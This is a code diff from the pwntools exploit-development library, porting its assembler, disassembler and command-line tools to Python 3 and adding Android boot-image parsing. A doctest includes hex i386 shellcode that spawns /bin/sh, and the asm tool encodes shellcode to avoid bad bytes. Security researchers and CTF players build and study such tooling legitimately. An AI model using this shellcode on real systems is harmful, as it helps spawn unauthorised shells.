+        >>> hex(adb.partitions.vda.size) # doctest: +ELLIPSIS
+        '0x...000'
+    """
     @property
     @context.quietfunc
     def by_name_dir(self):
-        return next(find('/dev/block/platform','by-name'))
+        try:
+            return next(find('/dev/block/platform','by-name'))
+        except StopIteration:
+            return '/dev/block'
 
     @context.quietfunc
     def __dir__(self):
         return list(self)
 
+    @context.quietfunc
+    def iter_proc_partitions(self):
+        for line in read('/proc/partitions').splitlines():
+            if not line.strip():
+                continue
+            major, minor, blocks, name = line.split(None, 4)
+            yield blocks, name.decode()
+
     @context.quietfunc
     @with_device
     def __iter__(self):
         root()
 
         # Find all named partitions
-        for name in listdir(self.by_name_dir):
-            yield name
+        names = set(listdir(self.by_name_dir))
+
+        # Find all unnamed partitions
+        for _, name in self.iter_proc_partitions():
+            names.add(name)
+        return iter(names)
 
-    @context.quietfunc
-    @with_device
     def __getattr__(self, attr):
+        if attr.startswith("_"):
+            raise AttributeError(attr)
+
         for name in self:
             if name == attr:
                 break
@@ -1317,19 +1436,17 @@ class Partitions(object):
 
         path = os.path.join(self.by_name_dir, name)
 
-        # Find the actual path of the device
-        devpath = readlink(path)
-        devname = os.path.basename(devpath)
+        with context.quiet:
+            # Find the actual path of the device
+            devpath = readlink(path)
+            devname = os.path.basename(devpath)
 
-        # Get the size of the partition
-        for line in read('/proc/partitions').splitlines():
-            if not line.strip():
-                continue
-            major, minor, blocks, name = line.split(None, 4)
-            if devname == name:
-                break
-        else:
-            log.error("Could not find size of partition %r" % name)
+            # Get the size of the partition
+            for blocks, name in self.iter_proc_partitions():
+                if name in (devname, attr):
+                    break
+            else:
+                log.error("Could not find size of partition %r" % name)
 
         return Partition(devpath, attr, int(blocks))
 
@@ -1381,3 +1498,9 @@ def packages():
     """Returns a list of packages installed on the system"""
     packages = process(['pm', 'list', 'packages']).recvall()
     return [line.split('package:', 1)[-1] for line in packages.splitlines()]
+
+@context.quietfunc
+def version():
+    """Returns rthe platform version as a tuple."""
+    prop = getprop('ro.build.version.release')
+    return [int(v) for v in prop.split('.')]

pwnlib/adb/bootimg.py

@@ -0,0 +1,52 @@
+from __future__ import division
+
+import ctypes
+
+BOOT_MAGIC = b"ANDROID!"
+BOOT_MAGIC_SIZE = 8
+BOOT_NAME_SIZE = 16
+BOOT_ARGS_SIZE = 512
+BOOT_EXTRA_ARGS_SIZE = 1024
+
+
+class boot_img_hdr(ctypes.Structure):
+    _fields_ = [
+        ('magic', ctypes.c_char * BOOT_MAGIC_SIZE),
+
+        ('kernel_size', ctypes.c_uint32),
+        ('kernel_addr', ctypes.c_uint32),
+
+        ('ramdisk_size', ctypes.c_uint32),
+        ('ramdisk_addr', ctypes.c_uint32),
+
+        ('second_size', ctypes.c_uint32),
+        ('second_addr', ctypes.c_uint32),
+
+        ('tags_addr', ctypes.c_uint32),
+        ('page_size', ctypes.c_uint32),
+        ('unused', ctypes.c_uint32),
+
+        ('os_version', ctypes.c_uint32),
+
+        ('name', ctypes.c_char * BOOT_NAME_SIZE),
+        ('cmdline', ctypes.c_char * BOOT_ARGS_SIZE),
+        ('id', ctypes.c_char * 8),
+
+        ('extra_cmdline', ctypes.c_char * BOOT_EXTRA_ARGS_SIZE),
+    ]
+
+class BootImage(object):
+    def __init__(self, data):
+        self.data = data
+        self.header = boot_img_hdr.from_buffer_copy(data)
+
+        PAGE = self.page_size
+
+        # The kernel starts at the beginning of the second page.
+        self.kernel = self.data[PAGE:PAGE+self.kernel_size]
+
+    def __getattr__(self, name):
+        value = getattr(self.header, name, None)
+        if value is not None:
+            return value
+        return getattr(super(BootImage, self), name)

pwnlib/adb/bootloader.py

@@ -0,0 +1,124 @@
+from __future__ import unicode_literals
+from __future__ import division
+
+import ctypes
+import io
+import os
+import sys
+
+from pwnlib.log import getLogger
+
+log = getLogger(__name__)
+
+class img_info(ctypes.Structure):
+    _fields_ = [
+        ('name', ctypes.c_char * 64),
+        ('size', ctypes.c_uint32)
+    ]
+
+class bootloader_images_header(ctypes.Structure):
+    _fields_ = [
+        ('magic', ctypes.c_char * 8),
+        ('num_images', ctypes.c_uint32),
+        ('start_offset', ctypes.c_uint32),
+        ('bootldr_size', ctypes.c_uint32),
+    ]
+
+BOOTLDR_MAGIC = b'BOOTLDR!'
+
+class BootloaderImage(object):
+    def __init__(self, data):
+        """Android Bootloader image
+
+        Arguments:
+            data(str): Binary data from the image file.
+        """
+        self.data = data
+        self.header = bootloader_images_header.from_buffer_copy(data)
+
+        if self.magic != BOOTLDR_MAGIC:
+            log.error("Incorrect magic (%r, expected %r)" % (self.magic, BOOTLDR_MAGIC))
+
+        if(self.bootldr_size > len(data)):
+            log.warn_once("Bootloader is supposed to be %#x bytes, only have %#x",
+                          self.bootldr_size,
+                          len(data))
+
+        if(self.num_images >= 0x100):
+            old = self.num_images
+            self.num_images = 1
+            log.warn_once("Bootloader num_images (%#x) appears corrupted, truncating to 1",
+                          old)
+
+        imgarray = ctypes.ARRAY(img_info, self.num_images)
+        self.img_info = imgarray.from_buffer_copy(data, ctypes.sizeof(self.header))
+
+    def extract(self, index_or_name):
+        """extract(index_or_name) -> bytes
+
+        Extract the contents of an image.
+
+        Arguments:
+            index_or_name(str,int): Either an image index or name.
+
+        Returns:
+            Contents of the image.
+        """
+        if isinstance(index_or_name, int):
+            index = index_or_name
+        else:
+            for i in range(len(self.img_info)):
+                if self.img_info[i].name == index_or_name:
+                    index = i
+                    break
+            else:
+                raise ValueError("Invalid img name: %r" % index_or_name)
+
+        if index >= len(self.img_info):
+            raise ValueError("index out of range (%s, max %s)" % (index, len(self.img_info)))
+
+        offset = self.start_offset
+
+        for i in range(index):
+            offset += self.img_info[i].size
+
+        return self.data[offset:offset + self.img_info[index].size]
+
+    def extract_all(self, path):
+        """extract_all(path)
+
+        Extracts all images to the provided path.  The filenames are taken
+        from the image name, with '.img' appended.
+        """
+        if not os.path.isdir(path):
+            raise ValueError("%r does not exist or is not a directory" % path)
+
+        for img in self.img_info:
+            imgpath = os.path.join(path, img.name + '.img')
+            with open(imgpath, 'wb+') as f:
+                data = self.extract(img.name)
+                f.write(data)
+
+    def __str__(self):
+        rv = []
+        rv.append("Bootloader")
+        rv.append("  Magic:  %r" % self.magic)
+        rv.append("  Offset: %#x" % self.start_offset)
+        rv.append("  Size:   %#x" % self.bootldr_size)
+        rv.append("  Images: %s" % self.num_images)
+        for img in self.img_info:
+            rv.append("    Name: %s" % img.name)
+            rv.append("    Size: %#x" % img.size)
+            rv.append("    Data: %r..." % self.extract(img.name)[:32])
+        return '\n'.join(rv)
+
+    def __getattr__(self, name):
+        value = getattr(self.header, name, None)
+        if value is not None:
+            return value
+        return getattr(super(BootImage, self), name)
+
+if __name__ == '__main__':
+    # Easy sanity checking
+    b = BootloaderImage(open(sys.argv[1], 'rb').read())
+    print(b)

pwnlib/args.py

@@ -23,7 +23,7 @@ this way.
 
 .. code-block:: bash
 
-    $ python -c 'from pwn import *; print args' A=1 B=Hello HOST=1.2.3.4 DEBUG
+    $ python -c 'from pwn import *; print(args)' A=1 B=Hello HOST=1.2.3.4 DEBUG
     defaultdict(<type 'str'>, {'A': '1', 'HOST': '1.2.3.4', 'B': 'Hello'})
 
 This is very useful for conditional code, for example determining whether to
@@ -51,6 +51,7 @@ below.
 
 """
 from __future__ import absolute_import
+from __future__ import division
 
 import collections
 import logging
@@ -85,7 +86,7 @@ def isident(s):
     Helper function to check whether a string is a valid identifier,
     as passed in on the command-line.
     """
-    first = string.uppercase + '_'
+    first = string.ascii_uppercase + '_'
     body = string.digits + first
     if not s:
         return False
@@ -194,7 +195,7 @@ def initialize():
         value = 'True'
 
         if '=' in arg:
-            arg, value = arg.split('=')
+            arg, value = arg.split('=', 1)
 
         if arg in hooks:
             sys.argv.remove(orig)

pwnlib/asm.py

@@ -16,39 +16,38 @@ Assembly
     To assemble code, simply invoke :func:`asm` on the code to assemble.
 
         >>> asm('mov eax, 0')
-        '\xb8\x00\x00\x00\x00'
+        b'\xb8\x00\x00\x00\x00'
 
     Additionally, you can use constants as defined in the :mod:`pwnlib.constants`
     module.
 
         >>> asm('mov eax, SYS_execve')
-        '\xb8\x0b\x00\x00\x00'
+        b'\xb8\x0b\x00\x00\x00'
 
     Finally, :func:`asm` is used to assemble shellcode provided by ``pwntools``
     in the :mod:`shellcraft` module.
 
         >>> asm(shellcraft.nop())
-        '\x90'
+        b'\x90'
 
 Disassembly
 ------------------------
 
     To disassemble code, simply invoke :func:`disasm` on the bytes to disassemble.
 
-    >>> disasm('\xb8\x0b\x00\x00\x00')
-    '   0:   b8 0b 00 00 00          mov    eax,0xb'
+    >>> disasm(b'\xb8\x0b\x00\x00\x00')
+    '   0:   b8 0b 00 00 00          mov    eax, 0xb'
 
 """
 from __future__ import absolute_import
+from __future__ import division
 
 import errno
 import os
 import platform
 import re
 import shutil
-import string
 import subprocess
-import sys
 import tempfile
 from collections import defaultdict
 from glob import glob
@@ -90,7 +89,7 @@ def dpkg_search_for_binutils(arch, util):
 
     try:
         filename = 'bin/%s*linux*-%s' % (arch, util)
-        output = subprocess.check_output(['dpkg','-S',filename])
+        output = subprocess.check_output(['dpkg','-S',filename], universal_newlines = True)
         for line in output.strip().splitlines():
             package, path = line.split(':', 1)
             packages.append(package)
@@ -160,7 +159,6 @@ def which_binutils(util):
         Exception: Could not find 'as' installed for ContextType(arch = 'msp430')
     """
     arch = context.arch
-    bits = context.bits
 
     # Fix up pwntools vs Debian triplet naming, and account
     # for 'thumb' being its own pwntools architecture.
@@ -244,7 +242,7 @@ def _assembler():
     if not checked_assembler_version[gas]:
         checked_assembler_version[gas] = True
         result = subprocess.check_output([gas, '--version','/dev/null'],
-                                         stderr=subprocess.STDOUT)
+                                         stderr=subprocess.STDOUT, universal_newlines=True)
         version = re.search(r' (\d\.\d+)', result).group(1)
         if version < '2.19':
             log.warn_once('Your binutils version is too old and may not work!\n'  + \
@@ -364,7 +362,8 @@ def _run(cmd, stdin = None):
             cmd,
             stdin  = subprocess.PIPE,
             stdout = subprocess.PIPE,
-            stderr = subprocess.PIPE
+            stderr = subprocess.PIPE,
+            universal_newlines = True
         )
         stdout, stderr = proc.communicate(stdin)
         exitcode = proc.wait()
@@ -409,8 +408,6 @@ def cpp(shellcode):
         >>> cpp("SYS_setresuid", os = "freebsd")
         '311\n'
     """
-    arch = context.arch
-    os   = context.os
     code = _include_header() + shellcode
     cmd  = [
         'cpp',
@@ -474,7 +471,7 @@ def make_elf_from_assembly(assembly,
         >>> sc += shellcraft.echo('Hello\n')
         >>> sc += 'mov rsp, rbp; pop rbp; ret'
         >>> solib = make_elf_from_assembly(sc, shared=1)
-        >>> subprocess.check_output(['echo', 'World'], env={'LD_PRELOAD': solib})
+        >>> subprocess.check_output(['echo', 'World'], env={'LD_PRELOAD': solib}, universal_newlines = True)
         'Hello\nWorld\n'
 
         The same thing can be done with :func:`.make_elf`, though the sizes
@@ -507,7 +504,7 @@ def make_elf_from_assembly(assembly,
     result = asm(assembly, vma = vma, shared = shared, extract = False, **kwargs)
 
     if not extract:
-        os.chmod(result, 0755)
+        os.chmod(result, 0o755)
     else:
         with open(result, 'rb') as io:
             result = io.read()
@@ -540,12 +537,12 @@ def make_elf(data,
         execve('/bin/sh',...).
 
         >>> context.clear(arch='i386')
-        >>> bin_sh = '6a68682f2f2f73682f62696e89e331c96a0b5899cd80'.decode('hex')
+        >>> bin_sh = unhex('6a68682f2f2f73682f62696e89e331c96a0b5899cd80')
         >>> filename = make_elf(bin_sh, extract=False)
         >>> p = process(filename)
-        >>> p.sendline('echo Hello; exit')
+        >>> p.sendline(b'echo Hello; exit')
         >>> p.recvline()
-        'Hello\n'
+        b'Hello\n'
     """
     retval = None
 
@@ -562,7 +559,7 @@ def make_elf(data,
     assembler = _assembler()
     linker    = _linker()
     code      = _arch_header()
-    code      += '.string "%s"' % ''.join('\\x%02x' % ord(c) for c in data)
+    code      += '.string "%s"' % ''.join('\\x%02x' % c for c in bytearray(data))
     code      += '\n'
 
     log.debug("Building ELF:\n" + code)
@@ -573,13 +570,13 @@ def make_elf(data,
     step3     = path.join(tmpdir, 'step3-elf')
 
     try:
-        with open(step1, 'wb+') as f:
+        with open(step1, 'w') as f:
             f.write(code)
 
         _run(assembler + ['-o', step2, step1])
 
         linker_options = ['-z', 'execstack']
-        if vma:
+        if vma is not None:
             linker_options += ['--section-start=.shellcode=%#x' % vma,
                                '--entry=%#x' % vma]
         elif shared:
@@ -594,11 +591,11 @@ def make_elf(data,
             _run([which_binutils('strip'), '--strip-unneeded', step3])
 
         if not extract:
-            os.chmod(step3, 0755)
+            os.chmod(step3, 0o755)
             retval = step3
 
         else:
-            with open(step3, 'r') as f:
+            with open(step3, 'rb') as f:
                 retval = f.read()
     except Exception:
         log.exception("An error occurred while building an ELF:\n%s" % code)
@@ -614,7 +611,7 @@ def asm(shellcode, vma = 0, extract = True, shared = False):
     Runs :func:`cpp` over a given shellcode and then assembles it into bytes.
 
     To see which architectures or operating systems are supported,
-    look in :mod:`pwnlib.contex`.
+    look in :mod:`pwnlib.context`.
 
     Assembling shellcode requires that the GNU assembler is installed
     for the target architecture.
@@ -633,13 +630,13 @@ def asm(shellcode, vma = 0, extract = True, shared = False):
     Examples:
 
         >>> asm("mov eax, SYS_select", arch = 'i386', os = 'freebsd')
-        '\xb8]\x00\x00\x00'
+        b'\xb8]\x00\x00\x00'
         >>> asm("mov eax, SYS_select", arch = 'amd64', os = 'linux')
-        '\xb8\x17\x00\x00\x00'
+        b'\xb8\x17\x00\x00\x00'
         >>> asm("mov rax, SYS_select", arch = 'amd64', os = 'linux')
-        'H\xc7\xc0\x17\x00\x00\x00'
+        b'H\xc7\xc0\x17\x00\x00\x00'
         >>> asm("mov r0, #SYS_select", arch = 'arm', os = 'linux', bits=32)
-        'R\x00\xa0\xe3'
+        b'R\x00\xa0\xe3'
     """
     result = ''
 
@@ -687,10 +684,11 @@ def asm(shellcode, vma = 0, extract = True, shared = False):
 
             _run(linker + ldflags)
 
-        elif file(step2,'rb').read(4) == '\x7fELF':
+        elif open(step2,'rb').read(4) == b'\x7fELF':
             # Sanity check for seeing if the output has relocations
             relocs = subprocess.check_output(
-                [which_binutils('readelf'), '-r', step2]
+                [which_binutils('readelf'), '-r', step2],
+                universal_newlines = True
             ).strip()
             if extract and len(relocs.split('\n')) > 1:
                 log.error('Shellcode contains relocations:\n%s' % relocs)
@@ -702,7 +700,7 @@ def asm(shellcode, vma = 0, extract = True, shared = False):
 
         _run(objcopy + [step3, step4])
 
-        with open(step4) as fd:
+        with open(step4, 'rb') as fd:
             result = fd.read()
 
     except Exception:
@@ -722,9 +720,6 @@ def disasm(data, vma = 0, byte = True, offset = True, instructions = True):
     To see which architectures are supported,
     look in :mod:`pwnlib.contex`.
 
-    To support all these architecture, we bundle the GNU objcopy
-    and objdump with pwntools.
-
     Arguments:
       data(str): Bytestring to disassemble.
       vma(int): Passed through to the --adjust-vma argument of objdump
@@ -736,26 +731,28 @@ def disasm(data, vma = 0, byte = True, offset = True, instructions = True):
 
     Examples:
 
-        >>> print disasm('b85d000000'.decode('hex'), arch = 'i386')
-           0:   b8 5d 00 00 00          mov    eax,0x5d
-        >>> print disasm('b85d000000'.decode('hex'), arch = 'i386', byte = 0)
-           0:   mov    eax,0x5d
-        >>> print disasm('b85d000000'.decode('hex'), arch = 'i386', byte = 0, offset = 0)
-        mov    eax,0x5d
-        >>> print disasm('b817000000'.decode('hex'), arch = 'amd64')
-           0:   b8 17 00 00 00          mov    eax,0x17
-        >>> print disasm('48c7c017000000'.decode('hex'), arch = 'amd64')
-           0:   48 c7 c0 17 00 00 00    mov    rax,0x17
-        >>> print disasm('04001fe552009000'.decode('hex'), arch = 'arm')
+        >>> print(disasm(unhex('b85d000000'), arch = 'i386'))
+           0:   b8 5d 00 00 00          mov    eax, 0x5d
+        >>> print(disasm(unhex('b85d000000'), arch = 'i386', byte = 0))
+           0:   mov    eax, 0x5d
+        >>> print(disasm(unhex('b85d000000'), arch = 'i386', byte = 0, offset = 0))
+        mov    eax, 0x5d
+        >>> print(disasm(unhex('b817000000'), arch = 'amd64'))
+           0:   b8 17 00 00 00          mov    eax, 0x17
+        >>> print(disasm(unhex('48c7c017000000'), arch = 'amd64'))
+           0:   48 c7 c0 17 00 00 00    mov    rax, 0x17
+        >>> print(disasm(unhex('04001fe552009000'), arch = 'arm'))
            0:   e51f0004        ldr     r0, [pc, #-4]   ; 0x4
            4:   00900052        addseq  r0, r0, r2, asr r0
-        >>> print disasm('4ff00500'.decode('hex'), arch = 'thumb', bits=32)
+        >>> print(disasm(unhex('4ff00500'), arch = 'thumb', bits=32))
            0:   f04f 0005       mov.w   r0, #5
+        >>> print(disasm(unhex('656664676665400F18A4000000000051'), byte=0, arch='amd64'))
+           0:   gs data16 fs data16 rex nop/reserved BYTE PTR gs:[eax+eax*1+0x0]
+           f:   push   rcx
     """
     result = ''
 
     arch   = context.arch
-    os     = context.os
 
     tmpdir = tempfile.mkdtemp(prefix = 'pwn-disasm-')
     step1  = path.join(tmpdir, 'step1')
@@ -772,6 +769,9 @@ def disasm(data, vma = 0, byte = True, offset = True, instructions = True):
         '--rename-section', '.data=.text',
     ]
 
+    if not byte:
+        objdump += ['--no-show-raw-insn']
+
     if arch == 'thumb':
         objcopy += ['--prefix-symbol=$t.']
     else:
@@ -779,10 +779,10 @@ def disasm(data, vma = 0, byte = True, offset = True, instructions = True):
 
     try:
 
-        with open(step1, 'w') as fd:
+        with open(step1, 'wb') as fd:
             fd.write(data)
 
-        res = _run(objcopy + [step1, step2])
+        _run(objcopy + [step1, step2])
 
         output0 = _run(objdump + [step2])
         output1 = output0.split('<.text>:\n')
@@ -798,14 +798,22 @@ def disasm(data, vma = 0, byte = True, offset = True, instructions = True):
 
 
     lines = []
-    pattern = '^( *[0-9a-f]+: *)((?:[0-9a-f]+ )+ *)(.*)'
+    pattern = '^( *[0-9a-f]+: *)', '((?:[0-9a-f]+ )+ *)', '(.*)'
+    if not byte:
+        pattern = pattern[::2]
+    pattern = ''.join(pattern)
     for line in result.splitlines():
-        try:
-            o, b, i = re.search(pattern, line).groups()
-        except:
+        match = re.search(pattern, line)
+        if not match:
             lines.append(line)
             continue
 
+        groups = match.groups()
+        if byte:
+            o, b, i = groups
+        else:
+            o, i = groups
+
         line = ''
 
         if offset:
@@ -816,4 +824,4 @@ def disasm(data, vma = 0, byte = True, offset = True, instructions = True):
             line += i
         lines.append(line)
 
-    return '\n'.join(lines)
+    return re.sub(',([^ ])', r', \1', '\n'.join(lines))

pwnlib/atexception.py

@@ -3,6 +3,7 @@ Analogous to atexit, this module allows the programmer to register functions to
 be run if an unhandled exception occurs.
 """
 from __future__ import absolute_import
+from __future__ import division
 
 import sys
 import threading

pwnlib/atexit.py

@@ -8,6 +8,7 @@ This module also fixes a the issue that exceptions raised by an exit handler is
 printed twice when the standard :mod:`atexit` is used.
 """
 from __future__ import absolute_import
+from __future__ import division
 
 import sys
 import threading

pwnlib/commandline/asm.py

@@ -1,9 +1,13 @@
 #!/usr/bin/env python2
 from __future__ import absolute_import
+from __future__ import division
 
 import argparse
 import sys
 
+import pwnlib
+pwnlib.args.free_form = False
+
 from pwn import *
 from pwnlib.commandline import common
 
@@ -29,8 +33,8 @@ parser.add_argument(
     "-o","--output",
     metavar='file',
     help="Output file (defaults to stdout)",
-    type=argparse.FileType('w'),
-    default=sys.stdout
+    type=argparse.FileType('wb'),
+    default=getattr(sys.stdout, 'buffer', sys.stdout)
 )
 
 parser.add_argument(
@@ -45,14 +49,14 @@ parser.add_argument(
 parser.add_argument(
     '-v', '--avoid',
     action='append',
-    help = 'Encode the shellcode to avoid the listed bytes (provided as hex; default: 000a)'
+    help = 'Encode the shellcode to avoid the listed bytes (provided as hex)'
 )
 
 parser.add_argument(
     '-n', '--newline',
     dest='avoid',
     action='append_const',
-    const='\n',
+    const='0a',
     help = 'Encode the shellcode to avoid newlines'
 )
 
@@ -60,7 +64,7 @@ parser.add_argument(
     '-z', '--zero',
     dest='avoid',
     action='append_const',
-    const='\x00',
+    const='00',
     help = 'Encode the shellcode to avoid NULL bytes'
 )
 
@@ -83,7 +87,7 @@ parser.add_argument(
     '--infile',
     help="Specify input file",
     default=sys.stdin,
-    type=file
+    type=argparse.FileType('r')
 )
 
 parser.add_argument(
@@ -103,10 +107,11 @@ def main(args):
     data   = '\n'.join(args.lines) or args.infile.read()
     output = asm(data.replace(';', '\n'))
     fmt    = args.format or ('hex' if tty else 'raw')
-    formatters = {'r':str, 'h':enhex, 's':repr}
+    formatters = {'r':bytes, 'h':enhex, 's':repr}
 
     if args.avoid:
-        output = encode(output, args.avoid)
+        avoid = unhex(''.join(args.avoid))
+        output = encode(output, avoid)
 
     if args.debug:
         proc = gdb.debug_shellcode(output, arch=context.arch)
@@ -120,13 +125,16 @@ def main(args):
 
     if fmt[0] == 'e':
         args.output.write(make_elf(output))
-        try: os.fchmod(args.output.fileno(), 0700)
+        try: os.fchmod(args.output.fileno(), 0o700)
         except OSError: pass
     else:
-        args.output.write(formatters[fmt[0]](output))
+        output = formatters[fmt[0]](output)
+        if not hasattr(output, 'decode'):
+            output = output.encode('ascii')
+        args.output.write(output)
 
-    if tty and fmt is not 'raw':
-        args.output.write('\n')
+    if tty and fmt != 'raw':
+        args.output.write(b'\n')
 
 if __name__ == '__main__':
     pwnlib.commandline.common.main(__file__)

pwnlib/commandline/checksec.py

@@ -1,5 +1,6 @@
 #!/usr/bin/env python2
 from __future__ import absolute_import
+from __future__ import division
 
 import argparse
 import sys
@@ -14,7 +15,7 @@ parser = common.parser_commands.add_parser(
 parser.add_argument(
     'elf',
     nargs='*',
-    type=file,
+    type=argparse.FileType('rb'),
     help='Files to check'
 )
 parser.add_argument(
@@ -22,7 +23,7 @@ parser.add_argument(
     nargs='*',
     dest='elf2',
     metavar='elf',
-    type=file,
+    type=argparse.FileType('rb'),
     help='File to check (for compatibility with checksec.sh)'
 )
 

pwnlib/commandline/common.py

@@ -5,7 +5,7 @@ import sys
 import pwnlib
 from pwnlib.context import context
 
-choices = map(str, [16,32,64])
+choices = list(map(str, [16,32,64]))
 choices += list(context.oses)
 choices += list(context.architectures)
 choices += list(context.endiannesses)

pwnlib/commandline/constgrep.py

@@ -1,7 +1,9 @@
 #!/usr/bin/env python2
 from __future__ import absolute_import
+from __future__ import division
 
 import argparse
+import functools
 import os
 import re
 
@@ -63,7 +65,7 @@ p.add_argument(
 def main(args):
     if args.exact:
         # This is the simple case
-        print cpp(args.exact).strip()
+        print(cpp(args.exact).strip())
     else:
         # New we search in the right module.
         # But first: We find the right module
@@ -117,7 +119,7 @@ def main(args):
 
         # Output all matching constants
         for _, k in sorted(out):
-            print '#define %s %s' % (k.ljust(maxlen), cpp(k).strip())
+            print('#define %s %s' % (k.ljust(maxlen), cpp(k).strip()))
 
         # If we are in match_mode, then try to find a combination of
         # constants that yield the exact given value
@@ -134,9 +136,9 @@ def main(args):
 
                 out = [(v, k) for v, k in out if mask & v == v]
 
-            if reduce(lambda x, cur: x | cur[0], good, 0) == constant:
-                print
-                print '(%s) == %s' % (' | '.join(k for v, k in good), args.constant)
+            if functools.reduce(lambda x, cur: x | cur[0], good, 0) == constant:
+                print('')
+                print('(%s) == %s' % (' | '.join(k for v, k in good), args.constant))
 
 if __name__ == '__main__':
     pwnlib.commandline.common.main(__file__)

pwnlib/commandline/cyclic.py

@@ -1,7 +1,9 @@
 #!/usr/bin/env python2
 from __future__ import absolute_import
+from __future__ import division
 
 import argparse
+import six
 import string
 import sys
 
@@ -19,7 +21,8 @@ parser = common.parser_commands.add_parser(
 parser.add_argument(
     '-a', '--alphabet',
     metavar = 'alphabet',
-    default = string.ascii_lowercase,
+    default = string.ascii_lowercase.encode(),
+    type = six.ensure_binary,
     help = 'The alphabet to use in the cyclic pattern (defaults to all lower case letters)',
 )
 
@@ -40,7 +43,7 @@ parser.add_argument(
     help = 'The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: %s' % common.choices,
 )
 
-group = parser.add_mutually_exclusive_group(required = True)
+group = parser.add_mutually_exclusive_group(required=False)
 group.add_argument(
     '-l', '-o', '--offset', '--lookup',
     dest = 'lookup',
@@ -50,9 +53,10 @@ group.add_argument(
 
 group.add_argument(
     'count',
-    type = int,
-    nargs = '?',
-    help = 'Number of characters to print'
+    type=int,
+    nargs='?',
+    default=None,
+    help='Number of characters to print'
 )
 
 def main(args):
@@ -63,9 +67,10 @@ def main(args):
         pat = args.lookup
 
         try:
-            pat = packing.pack(int(pat, 0), subsize*8)
+            pat = int(pat, 0)
         except ValueError:
             pass
+        pat = flat(pat)
 
         if len(pat) != subsize:
             log.critical('Subpattern must be %d bytes' % subsize)
@@ -81,18 +86,19 @@ def main(args):
             log.critical('Given pattern does not exist in cyclic pattern')
             sys.exit(1)
         else:
-            print offset
+            print(offset)
     else:
         want   = args.count
         result = cyclic(want, alphabet, subsize)
         got    = len(result)
-        if got < want:
+        if want is not None and got < want:
             log.failure("Alphabet too small (max length = %i)" % got)
 
-        sys.stdout.write(result)
+        out = getattr(sys.stdout, 'buffer', sys.stdout)
+        out.write(result)
 
-        if sys.stdout.isatty():
-            sys.stdout.write('\n')
+        if out.isatty():
+            out.write(b'\n')
 
 if __name__ == '__main__':
     pwnlib.commandline.common.main(__file__)

pwnlib/commandline/debug.py

@@ -1,5 +1,6 @@
 #!/usr/bin/env python2
 from __future__ import absolute_import
+from __future__ import division
 
 import argparse
 import sys
@@ -13,7 +14,7 @@ parser = common.parser_commands.add_parser(
 )
 parser.add_argument(
     '-x', metavar='GDBSCRIPT',
-    type=file,
+    type=argparse.FileType('r'),
     help='Execute GDB commands from this file.'
 )
 parser.add_argument(
@@ -30,13 +31,25 @@ parser.add_argument(
     help = 'The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: %s' % common.choices,
 )
 parser.add_argument(
-    '--exec', type=file, dest='executable',
+    '--exec',
+
+    # NOTE: Type cannot be "file" because we may be referring to a remote
+    #       file, or a file on an Android device.
+    type=str,
+
+    dest='executable',
     help='File to debug'
 )
 parser.add_argument(
     '--process', metavar='PROCESS_NAME',
     help='Name of the process to attach to (e.g. "bash")'
 )
+parser.add_argument(
+    '--sysroot', metavar='SYSROOT',
+    type=str,
+    default='',
+    help="GDB sysroot path"
+)
 
 def main(args):
     gdbscript = ''
@@ -47,23 +60,46 @@ def main(args):
         context.device = adb.wait_for_device()
 
     if args.executable:
-        context.binary = ELF(args.executable.name)
-        target = context.binary.path
+        if os.path.exists(args.executable):
+            context.binary = ELF(args.executable)
+            target = context.binary.path
+
+        # This path does nothing, but avoids the "print_usage()"
+        # path below.
+        elif context.os == 'android':
+            target = args.executable
     elif args.pid:
         target = int(args.pid)
     elif args.process:
         if context.os == 'android':
-            target = adb.pidof(process)
+            target = adb.pidof(args.process)
         else:
-            target = pidof(process)
+            target = pidof(args.process)
+
+        # pidof() returns a list
+        if not target:
+            log.error("Could not find a PID for %r", args.process)
+
+        target = target[0]
+
+        # pidof will sometimes return all PIDs, including init
+        if target == 1:
+            log.error("Got PID 1 from pidof.  Check the process name, or use --pid 1 to debug init")
     else:
         parser.print_usage()
         return 1
 
     if args.pid or args.process:
-        gdb.attach(target, gdbscript=gdbscript)
+        pid = gdb.attach(target, gdbscript=gdbscript, sysroot=args.sysroot)
+
+        # Since we spawned the gdbserver process, and process registers an
+        # atexit handler to close itself, gdbserver will be terminated when
+        # we exit.  This will manifest as a "remote connected ended" or
+        # similar error message.  Hold it open for the user.
+        log.info("GDB connection forwarding will terminate when you press enter")
+        pause()
     else:
-        gdb.debug(target, gdbscript=gdbscript).interactive()
+        gdb.debug(target, gdbscript=gdbscript, sysroot=args.sysroot).interactive()
 
 if __name__ == '__main__':
     pwnlib.commandline.common.main(__file__)

pwnlib/commandline/disablenx.py

@@ -1,6 +1,8 @@
 #!/usr/bin/env python2
 from __future__ import absolute_import
+from __future__ import division
 
+import argparse
 from pwn import *
 from pwnlib.commandline import common
 
@@ -11,7 +13,7 @@ parser = common.parser_commands.add_parser(
 parser.add_argument(
     'elf',
     nargs='+',
-    type=file,
+    type=argparse.FileType('rb'),
     help='Files to check'
 )
 

pwnlib/commandline/disasm.py

@@ -1,5 +1,7 @@
 #!/usr/bin/env python2
 from __future__ import absolute_import
+from __future__ import division
+from __future__ import print_function
 
 import argparse
 import string
@@ -20,7 +22,7 @@ parser.add_argument(
     'hex',
     metavar = 'hex',
     nargs = '*',
-    help = 'Hex-string to disasemble. If none are supplied, then it uses stdin in non-hex mode.'
+    help = 'Hex-string to disassemble. If none are supplied, then it uses stdin in non-hex mode.'
 )
 
 parser.add_argument(
@@ -59,14 +61,14 @@ parser.add_argument(
 
 def main(args):
     if len(args.hex) > 0:
-        dat = ''.join(args.hex)
-        dat = dat.translate(None, string.whitespace)
-        if not set(string.hexdigits) >= set(dat):
-            print "This is not a hex string"
+        dat = ''.join(args.hex).encode('utf-8', 'surrogateescape')
+        dat = dat.translate(None, string.whitespace.encode('ascii'))
+        if not set(string.hexdigits.encode('ascii')) >= set(dat):
+            print("This is not a hex string")
             exit(-1)
-        dat = dat.decode('hex')
+        dat = unhex(dat)
     else:
-        dat = sys.stdin.read()
+        dat = getattr(sys.stdin, 'buffer', sys.stdin).read()
 
 
     if args.color:
@@ -79,17 +81,16 @@ def main(args):
         instrs  = disasm(dat, vma=safeeval.const(args.address), byte=False, offset=False)
         # instrs  = highlight(instrs, PwntoolsLexer(), TerminalFormatter())
 
-        split = lambda x: x.splitlines()
-        for o,b,i in zip(*list(map(split, (offsets, bytes, instrs)))):
+        for o,b,i in zip(*map(str.splitlines, (offsets, bytes, instrs))):
             b = b.replace('00', text.red('00'))
